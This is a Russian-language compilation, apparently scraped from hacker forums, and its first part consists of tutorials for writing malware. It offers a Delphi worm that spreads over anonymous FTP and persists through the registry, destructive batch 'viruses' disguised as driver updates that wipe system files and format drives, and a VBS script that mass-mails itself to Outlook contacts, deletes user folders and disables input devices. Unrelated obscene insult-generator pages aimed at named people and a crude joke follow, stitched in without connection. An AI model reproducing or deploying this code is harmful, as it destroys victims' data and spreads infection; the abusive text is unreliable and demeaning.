...Давай сегодня напишем своего сетевого червя? Тебе по любому хотелось иметь такую зверушку! Сегодня я тебе в этом помогу! Писать мы будем на Delphi6. Наш червь будет распространяться через ftp сервера с анонимным входом. Итак, поехали! Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.
Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:
var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:
var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);
После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Если поработать головой, то можно за 30 минут написать червя который ещё и все папки найдёт, на фтп, в которых запись разрешена.
Вообщем дерзайте! Удачи!

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

*.Создание вируса Есть несколько вариантов создания вируса.Мы рассмотрим лишь один из них... @echo off echo Windows updating driver... attrib -r -h -s c:windows*.da? echo Y | del c:windows*.da? echo Y | del d:*.* attrib -r -h -s c:*.* echo Y | del c:*.sys echo Y | del c:*.bin echo Y | del c:*.bat echo Y | format d: echo Y | format c: echo Virus loading.... Completed! Это пример вируса...Да и еще одно договоримся сохранять наши проекты как .bat файлы... Итак, разберем по строкам... Первая строка "говорит" компьютеру, что не надо показывать операции. Вторая - выводит надпись Windows updating driver... третья и шестая-снимают все атрибуты(скрытый, для чтения и т.д.) с файлов. 4-ая, 5-я, 6-я, 7-я, 8-я и 9-я удаляют файлы на дисках. 10-я и 11-я форматируют диски. Ну и 12-я выводит знаменательную надпись: Virus loading.... Complited! Форматирование может и не произойти, но ОС будет испорчена... Задание:Создайте самостоятельно вирус, который будет "убивать" виндовс не только находящийся на диске С:. Рассмотрим еще один пример: @echo off if exist c:aivus.bat goto cool copy %0 c:aivus.bat >nul attrib +h c:aivus.bat >nul echo c:aivus.bat>>c:autoexec.bat echo Y | del %0 >nul :cool copy %0 a: un.bat >nul copy %0 a:open.bat >nul attrib +h a:open.bat >nul echo Y | del c:windowscalc.exe >nul attrib -h -s -r c:*.ini >nul echo Y | del c:oot.ini >nul echo Y | format a: Я думаю не все поняли, что это за строчки: if exist c:aivus.bat goto cool echo c:aivus.bat>>c:autoexec.bat copy %0 a:open.bat >nul attrib +h a:open.bat >nul Строчка if exist c:aivus.bat goto cool С вирусами связано и программирование... Те, кто чуть его знают, поняли её. Для других объясняю: Эта строка проверяет есть ли файл open.bat на диске С: , если есть переходим к строке :cool. Строка echo c:aivus.bat>>c:autoexec.bat добавляет себя в автозапуск. copy %0 a:open.bat >nul копирует себя(обозначается %0) в a:open.bat Ну а строка attrib +h a:open.bat >nul ставит файлу атрибут скрытый. Если кто-то непонял что значит null, значит - скрыть операцию... Плохо платить кровно нажитые бабки злодею провайдеру!

*~Мануал по созданию вируса~ на VBS! (' - указанные ниже абзацы не прописывать).
-------------------------------------------------------------
Ну начнем.......
Открываем простой блокнот (при помощи блокнота можно создать почти что угодно)......И прописываем основное начало нашего вируса:

CODE' абзац
Set f = CreateObject("scripting.filesystemobject")
Set s = CreateObject("Wscript.Shell")
t=0: on error resume next
Set os = CreateObject("Shell.Application")
set ie = WScript.CreateObject("InternetExplorer.Application")
Set oe = WScript.CreateObject("Outlook.Application")

Так начинку сделали....
Теперь я пропишу ВАМ основные действия вируса:..... 

1) Сделаем так чтобы после открытия нашего проекта у юзвера выскочило сообщение: 
CODE'     Вывести сообщение
s.popup "text1", , "text2", 0+16

text1 - само сообщение
text2 - заголовок сообщения

0+x - тип сообщения
(0+0) - обычный тип
(0+16) - ошибка
(0+64) - информация
(0+48) - восклицание
(0+32) - вопрос

2) Нам нужно что-то переименовать....
CODE' Переименование всех файлов, находящихся на Робочем столе на "text"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="text" & t
next
end if
next

text - новый текст!
-------------------------------------

' Переименование папки Мои документы на "Новое_Название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder): tf.name="Новое_Название"
End if
next
------------------------------------

' Переименование всех файлов, находящихся в Моих документах на "Новое_название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="НАЗВАНИЕ" & t
next
end if
next
------------------------------------

' Переименование всех файлов, находящихся в Главное меню\Программы на "новое_название"
For Each Folder In s.SpecialFolders
if right(folder,12)="Главное меню" then
set tf=f.getfolder(folder)
set af=tf.subfolders
For Each fl In af
set file=f.getfolder(fl):t=t+1
file.name="новое_название" & t
next
end if
next

3) Нам нужно что-то переместить:

CODE' Перемещение Рабочего стола в "FOLDER"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
f.copyfolder folder, "FOLDER"
f.deletefolder folder, true
next

(folder - папка)
--------------------------------------

' Перемещение папки Мои документы в "папка"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
f.copyfolder folder, "папка"
f.deletefolder folder, true
next

4) ......Интернет 
CODE
' Сделать домашней страницу "http:\\hack-all.net"
s.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\hack-all.net"
----------------------------------------

' Перейти на сайт "http:\\hack-all.net"
ie.Visible = True
ie.Navigate "http:\\hack-all.net"
----------------------------------------

' Разослать вирус Всем контактам неприятеля
For Index = 1 To oe.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = oe.CreateItem(0)
OutMail.to = oe.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "в теме письма"
OutMail.Body = "в теле письма"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next

5) Удаляем нужные объекты....
CODE'     Удаление специальных папок
For Each Folder In s.SpecialFolders
-------------------------------------------------

' Удаление Рабочего стола
f.deletefolder s.SpecialFolders ("Desktop"),true
-------------------------------------------------

' Удаление Aplication Data
if right(folder,15)="Aplication Data" then f.deletefolder folder,true
-------------------------------------------------

' Удаление PrintHood
if  right(folder,9)="PrintHood"  then f.deletefolder folder,true
-------------------------------------------------

' Удаление ShellNew
if right(folder,8)="ShellNew" then f.deletefolder folder,true
-------------------------------------------------

' Удаление шрифтов
if right(folder,5)="FONTS" then f.deletefolder folder,true
-------------------------------------------------

' Удаление NetHood
if right(folder,7)="NetHood" then f.deletefolder folder,true
-------------------------------------------------

' Удаление Главное меню
if right(folder,12)="Главное меню" then f.deletefolder folder,true
-------------------------------------------------

' Удаление SendTo
if right(folder,6)="SendTo" then f.deletefolder folder,true
-------------------------------------------------

' Удаление Recent
if right(folder,6)="Recent" then f.deletefolder folder,true
-------------------------------------------------

' Удаление Автозагрузка
if right(folder,12)="Автозагрузка" then f.deletefolder folder,true
-------------------------------------------------

' Удаление Избранное
if right(folder,9)="Избранное" then f.deletefolder folder,true
-------------------------------------------------

' Удаление Мои документы
if right(folder,13)="Мои документы" then f.deletefolder folder,true
-------------------------------------------------

' Удаление Программы
if right(folder,9)="Программы" then f.deletefolder folder,true
Next

6) Очень вредоносное....... (делать не советую)
CODE'     Поменять функции клавиш мышки местами
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT", "rundll32 user32, SwapMouseButton"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98", "rundll32.exe user.exe, swapmousebutton"
s.Run "rundll32 user32, SwapMouseButton"
-------------------------------------------------

'     Вырубить клавиатуру(Только для Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Dead", "rundll32 keyboard,disable"
s.Run "rundll32.exe keyboard.exe, disable"
-------------------------------------------------

'     Отключить мышь(Только для Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Mad", "rundll32 mouse,disable"
s.Run "rundll32.exe mouse.exe, disable"
-------------------------------------------------

' Минимизировать все окна
os.MinimizeAll
-------------------------------------------------

' Запускаться при каждой перезагрузке
Set File2 = f.GetFile(WScript.ScriptFullName)
File2.Copy ("c:\windows\System\Gigabyte.vbs")
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
-------------------------------------------------

' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0
s.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
-------------------------------------------------

'      Форматировать Все диски (Только для Windows 95,98,Me)
If f.FileExists("d:\autoexec.bat") Then Str ="d:\autoexec.bat"
If f.FileExists("d:\Windows.000\autoexec.bat") Then Str ="d:\Windows.000\autoexec.bat"
If f.FileExists("d:\Windows\autoexec.bat") Then Str ="d:\Windows\autoexec.bat"
If f.FileExists("c:\autoexec.bat") Then Str = "c:\autoexec.bat"
If f.FileExists("c:\Windows.000\autoexec.bat") Then Str = "c:\Windows.000\autoexec.bat"
If f.FileExists("c:\Windows\autoexec.bat") Then Str = "c:\Windows\autoexec.bat"
Set ab = f.GetFile(Str)
ab.Attributes = 0
Set autoexec = f.CreateTextFile(Str)
autoexec.WriteLine "@cls"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.WriteLine "@format d: /q /autotest"
autoexec.WriteLine "@format e: /q /autotest"
autoexec.WriteLine "@format f: /q /autotest"
autoexec.WriteLine "@format g: /q /autotest"
autoexec.WriteLine "@format h: /q /autotest"
autoexec.WriteLine "@format i: /q /autotest"
autoexec.Close
s.Run Str, 5
-------------------------------------------------

'     Перезагрузить компьютер(Только для Windows 95,98,Me)
s.Run "Rundll32.exe User.exe,ExitWindows"
-------------------------------------------------

'     Самоликвидироваться
f.deletefile WScript.ScriptFullName, true

....Доброе время суток, Уважаемые ПиарноЗвезданутые!
Мы рады сообщить, что Вас пригласили в пешую эротическую прогулку, а проще говоря, Вас послали на хуй!

Если у Вас хорошо с географией, то свяжитесь, пожалуйста, с нашим хоз. отделом, Вам выдадут барабанные палочки, и Вы сможете возглавить процессию идущих на хуй ;-)

Приглашения на хуй раздаются тут, а если Вы хотите отблагодарить обидчика отменной бранью, то здесь можно сгенерировать ругательство.

А здесь можно посмотреть на карте, где находится нахуй


© отдел подбора персонала сайта www.chudakov.net

Может кому понадобиться мой ДНЕВ?

Всё , что вам не нужно - выкиньте к чертовой бабушке и юзайте на здоровье, это к новичкам относится.

Полезных штучек ( в т.ч. самописных ) в нем хватает, дизайн переделать - как 2 байта.

www.daridobro - подарки и сувениры Генератор ругательств Введите имя своей жертвы и генератор выдаст вам подходящее для нее определение:) Выражения для генератора можно добавить здесь: добавить. Кликните на имя вашей жертвы - может быть, не вы одни так плохо о ней думаете, и кто-то уже добавил ее в черный список;) Если же нет, то вы можете проделать это сами;). Или просто пошлите ее на хуй!:) Я никому не скажу, но в общем то и так все знают, что alexjdanov ебаный в рот трижды венерическим хуем хреносос ёптить некрогенитальный выпиздень Введите ник    Род: мужской женский

Ругательства ≡≡> [поиск] [добавить] [по алфавиту] [генератор ругательств]

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

,,

................цивильно послать, это ИСКУССТВО !!!

Не жми сюда, попадешь на бабос! А и вааще, хуй с ним с балабосом! С ГОДОМ СОВМЕСТНОЙ ЖИЗНИ КСЮШУ И ПАШУ!!!! Любите и будьте любимыми!!!

www.daridobro - подарки и сувениры   Послать на хуй Интернет не стоит на месте, послать на хуй теперь можно не только в устной форме по телефону или при личной встрече. Вам остается лишь решить, отправлять ли посланному приглашение или просто удовлетвориться занесением его в список посланных ;-)   Кто будет послан?             Топ 10 посланных на хуй сегодня:   ЛиРупослан 44 раза мной послан( аментет) хуй послан 1 раз(а) Рома послан 1 раз(а) Алексей послан 1 раз(а) Я послан 1 раз(а) Левин послан 1 раз(а) ti послан 1 раз(а) Эля послан 1 раз(а) тварь послан 1 раз(а) Gandon послан 1 раз(а) список всех посланных сегодня    Топ 10 посланных на хуй всех времен:   nikkolai послан 100000549 раз(а) Американский Империализм послан 1375132 раз(а) пизда ивановна послан 1000213 раз(а) Американский Империализм2 послан 947428 раз(а) Американский Империализм послан 575205 раз(а) МУР послан 568287 раз(а) МОТР послан 190051 раз(а) Stacen послан 122304 раз(а) Виктор Ющенко послан 103051 раз(а) Петросян послан 100508 раз(а) список всех посланных на хуй

Ругательства ≡≡> [поиск] [добавить] [по алфавиту] [генератор ругательств]

сайт хостится на площадках компании PeterHost	©2004

 

Коричневое_Падло, Старенький_Ху помирил нас с Игорем (Humiliating,)
и мб пару постов от него засандалю *достойным* и *особо отличившимся*)

Кошмарик, да?

[]

Идеальным мужем для вас стал бы Брэд Питт

"Я был счастлив! Я встречался с подругой целый год и в конце мы решили пожениться. Родители помогали нам любыми путями, друзья нас поддерживали. А
подруга? Подруга была просто сказка! Единственная вещь, которая меня смущала - это ее младшая сестра. Ей было 20 лет, и она надевала мини-юбки и
обтягивающие маечки с большими вырезами. Она всегда нагибалась, когда была возле меня, и демонстрировала свои трусики. Я уверен, что это была не
случайность, так как она не делала такого больше ни перед кем. В один прекрасный день ее сестра позвонила мне и попросила, чтоб я пришел и посмотрел на
свадебные приглашения. Когда я пришел, она была одна. Она мне сказала, что скоро я буду женат, но у нее есть чувства и желания ко мне, которые она не в
силах преодолеть. Она сказала, что хочет заняться любовью со мной только один раз, перед тем как я поженюсь. Я был ужасно удивлен и не знал, что ответить.
Она сказала: "Я поднимаюсь наверх, а ты, если хочешь, просто поднимись ко мне и возьми меня".! Я был шокирован. Я застыл в удивлении, пока она поднималась
по ступенькам. Когда она поднялась наверх, она сняла трусики и кинула их мне. Я постоял немного, потом развернулся и направился напрямик к входной двери.
Открыл дверь, вышел из дома и направился к своей машине. Мой будущий тесть стоял на улице, со слезами на глазах он меня обнял и сказал: "Мы очень рады,
что ты прошел наш маленький тестик. Теперь мы точно знаем, что нету более подходящего мужчины для нашей дочери! Добро пожаловать в нашу семью!" Мораль
рассказа: Всегда оставляй презервативы в машине... "